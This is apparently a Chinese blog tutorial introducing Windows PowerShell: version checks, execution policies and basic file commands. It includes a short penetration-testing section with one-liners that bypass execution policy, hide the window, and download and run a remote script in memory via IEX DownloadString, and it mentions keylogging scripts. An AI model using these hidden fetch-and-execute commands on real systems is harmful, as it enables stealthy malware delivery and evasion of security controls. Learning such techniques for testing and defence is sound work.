Windows PowerShell是一种命令行外壳程序和脚本环境,它内置在每个受支持的Windows版本中(Windows 7/Windows 2008 R2和更高版本),使命令行用户和脚本编写者可以利用.NET Framework的强大功能。一旦攻击者可以在一台计算机上运行代码,他们就会下载Powershell脚本文件(.ps1)到磁盘中执行,甚至无需写到磁盘中执行,它可以直接在内存中运行,也可以把PowerShell看做命令行提示符cmd.exe的扩充。

1.我的win7系统没powershell,于是从网上找了一个,下载,安装,重启电脑。

Powershell介绍和安装:https://www.pstips.net/powershell-introduction-and-install.html

2.可以使用Get-Host或者$PSVersionTable.PSVERSION命令查看powershell版本。

PS C:\Users\Administrator> Get-Host

Name             : ConsoleHost
Version : 4.0
InstanceId : f34b1407-b34b-44ed-b5bc-d23b3ab06de1
UI : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture : zh-CN
CurrentUICulture : zh-CN
PrivateData : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
IsRunspacePushed : False
Runspace : System.Management.Automation.Runspaces.LocalRunspace PS C:\Users\Administrator> $PSVersionTable.PSVERSION Major Minor Build Revision
----- ----- ----- --------
4 0 -1 -1

3.执行策略

(1)使用如下命令确定当前的执行策略:Get-ExecutionPolicy

(2)powershell的执行策略主要有以下4种:

  • Restricted:脚本不能运行(默认设置)
  • RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)
  • AllSigned:仅当脚本由受信任的发布者签名才能运行。
  • Unrestricted:允许所有的script运行。

(3)使用如下命令设置powershell的执行策略:Set-ExecutionPolicy <policy name>

PS C:\Users\Administrator> Get-ExecutionPolicy
Restricted
PS C:\Users\Administrator> Set-ExecutionPolicy RemoteSigned 执行策略更改
执行策略可帮助你防止执行不信任的脚本。更改执行策略可能会产生安全风险,如
http://go.microsoft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies 帮助主题所述。是否要更改执行策略?
[Y] 是(Y) [N] 否(N) [S] 挂起(S) [?] 帮助 (默认值为“Y”):
PS C:\Users\Administrator> Get-ExecutionPolicy
RemoteSigned

4.Powershell的常用命令(不区分大小写)

(1)以文件操作为例

PS C:\Users\Administrator> New-Item whitecellclub -ItemType Directory # 新建目录whitecellclub

    目录: C:\Users\Administrator

Mode                LastWriteTime     Length Name
---- ------------- ------ ----
d---- 2020-01-13 9:31 whitecellclub PS C:\Users\Administrator> Remove-Item whitecellclub # 删除目录
PS C:\Users\Administrator> New-Item test.txt -ItemType File # 新建文件test 目录: C:\Users\Administrator Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 2020-01-13 9:32 0 test.txt PS C:\Users\Administrator> Set-Content test.txt -Value "hello,world!" # 设置文本内容
PS C:\Users\Administrator> Get-Content test.txt # 显示文本内容
hello,world!
PS C:\Users\Administrator> Add-Content test.txt -Value " I love you" # 追加内容
PS C:\Users\Administrator> Get-Content test.txt
hello,world!
I love you
PS C:\Users\Administrator> Clear-Content test.txt # 清除内容
PS C:\Users\Administrator> Get-Content test.txt
PS C:\Users\Administrator>

(2)渗透测试常用命令

  • 绕过本地权限执行

    • PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
  • 本地隐藏绕过权限执行脚本
    • PowerShell.exe -ExecutionPolicy Bypass -WindowsStyle Hidden -Nologo -NonInteractive -NoProfile -File xxx.ps1
  • 用IEX下载远程PS1脚本绕过权限执行
    • PowerShell.exe -ExecutionPolicy Bypass -WindowsStyle Hidden -NoProfile -NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
  • 下面对上述命令的参数进行说明:
    • -ExecutionPolicy Bypass 绕过执行安全策略
    • -WindowsStyle Hidden 隐藏窗口
    • -Nologo 启动不显示版权标准的Powershell
    • -NonInteractive(-NonI) 非交互模式
    • -NoProfile(-NoP) Powershell控制台不加载当前用户的配置文件
    • -Noexit 执行后不退出Shell,这在使用键盘记录等脚本时非常重要
  • 举例
PS C:\Users\Administrator> "hello hacker" > test.ps1
PS C:\Users\Administrator> .\test.ps1
.\test.ps1 : 无法加载文件 C:\Users\Administrator\test.ps1,因为在此系统上禁止运行脚本。
...
PS C:\Users\Administrator> Powershell.exe -executionpolicy bypass -file test.ps1
...
hello hacker
...

PowerShell初探的更多相关文章

  1. 介绍PS大局观很不错的转文

    http://blog.chinaunix.net/uid-20535506-id-1931615.html PowerShell初探 PowerShell的一些特点: ü         内含上百种 ...

  2. ASP.NET Core on K8S学习初探(1)K8S单节点环境搭建

    当近期的一个App上线后,发现目前的docker实例(应用服务BFF+中台服务+工具服务)已经很多了,而我司目前没有专业的运维人员,发现运维的成本逐渐开始上来,所以容器编排也就需要提上议程.因此我决定 ...

  3. ASP.NET Core on K8S学习初探(3)部署API到K8S

    在上一篇<基本概念快速一览>中,我们把基本的一些概念快速地简单地不求甚解地过了一下,本篇开始我们会将ASP.NET Core WebAPI部署到K8S,从而结束初探的旅程. Section ...

  4. 在PowerShell中使用curl(Invoke-WebRequest)

    前言 习惯了windows的界面模式就很难转去命令行,甚至以命令行发家的git也涌现出各种界面tool.然而命令行真的会比界面快的多,如果你是一个码农. situation:接到需求分析bug,需要访 ...

  5. Windows 7上执行Cake 报错原因是Powershell 版本问题

    在Windows 7 SP1 电脑上执行Cake的的例子 http://cakebuild.net/docs/tutorials/getting-started ,运行./Build.ps1 报下面的 ...

  6. <译>通过PowerShell工具跨多台服务器执行SQL脚本

    有时候,当我们并没有合适的第三方工具(大部分需要付费)去管理多台数据库服务器,那么如何做最省力.省心呢?!Powershell一个强大的工具,可以很方便帮到我们处理日常的数据库维护工作 .简单的几步搞 ...

  7. 利用PowerShell复制SQLServer账户的所有权限

    问题 对于DBA或者其他运维人员来说授权一个账户的相同权限给另一个账户是一个很普通的任务.但是随着服务器.数据库.应用.使用人员地增加就变得很枯燥乏味又耗时费力的工作.那么有什么容易的办法来实现这个任 ...

  8. PowerShell 数组以及XML操作

    PowerShell基础 PowerShell数组操作 将字符串拆分成数据的操作 cls #原始字符串 $str = "abc,def,ghi,mon" #数据定义 #$StrAr ...

  9. linux下mono,powershell安装教程

    1简介 简单来说pash就是bash+powershell 2官网 https://github.com/Pash-Project/Pash 3下载fedora20---lxde桌面---32位版. ...

随机推荐

  1. centos7 上安装jira调试系统

    安装mysql数据库 在windows上面下载 http://dev.mysql.com/downloads/mysql/ 在liunx系统上可直接wget, wget https://dev.mys ...

  2. 将项目导入myeclipse后 tortoise svn 右键项目不能更新和提交

    使用 tortoise svn客户端将svn服务器上的项目checkout之后正常,可以更新也可以提交:当将这个项目导入MyEclipse之后,不能更新和提交了只出现svn升级工作副本这一字样:网上搜 ...

  3. 从一道网易面试题浅谈 Tagged Pointer - darcy_tang 的博客

    前言 这篇博客九月就想写了,因为赶项目拖了到现在,抓住17年尾巴写吧~ 正文 上次看了一篇 <从一道网易面试题浅谈OC线程安全> 的博客,主要内容是: 作者去网易面试,面试官出了一道面试题 ...

  4. 创建 GPG 证书

    一.什么是 GPG 以下引自维基百科: GNU Privacy Guard(GnuPG或GPG)是一种加密软件,它是PGP加密软件的满足GPL的替代物.GnuPG依照由IETF订定的OpenPGP技术 ...

  5. 万达乐园VS阿里帝国 谁将是未来娱乐产业的龙头?

    国内实体行业大佬王健林和互联网行业巨头马云,这次又不约而同地想到一块去了.从王健林叫板迪士尼大搞借势营销,到最近马云成立大文娱工作领导小组,明显的趋势表明娱乐越来越成为各界大佬们未来掘金的新战场.只不 ...

  6. Flutter Widgets 之 RichText

    注意:无特殊说明,Flutter版本及Dart版本如下: Flutter版本: 1.12.13+hotfix.5 Dart版本: 2.7.0 基础用法 应用程序离不开文字的展示,因此文字的排版非常重要 ...

  7. SpringBoot图文教程8 — SpringBoot集成MBG「代码生成器」

    有天上飞的概念,就要有落地的实现 概念十遍不如代码一遍,朋友,希望你把文中所有的代码案例都敲一遍 先赞后看,养成习惯 SpringBoot 图文教程系列文章目录 SpringBoot图文教程1「概念+ ...

  8. Java后端完整学习路线及资源记录

    Java后端完整学习路线及资源记录 Java语法基础 书籍教程: 视频教程: IDEA的使用 视频教程:JAVA开发利器-IntelliJ IDEA使用教程 Servlet和Web基础 书籍教程: 视 ...

  9. Spring Cloud Feign 组成和配置

    Feign的组成 接口 作用 默认值 Feign.Builder Feign的入口 Feign.Builder Client Feign底层用什么去请求 和Ribbon配合时:LoadBalancer ...

  10. Python神经网络编程笔记

    神经元 想一想便知道,当一个人捏你一下以至于你会痛得叫起来的力度便是神经元的阈值,而我们构建的时候也是把这种现象抽象成一个函数,叫作激活函数. 而这里便是我们使用sigmoid函数的原因,它是一个很简 ...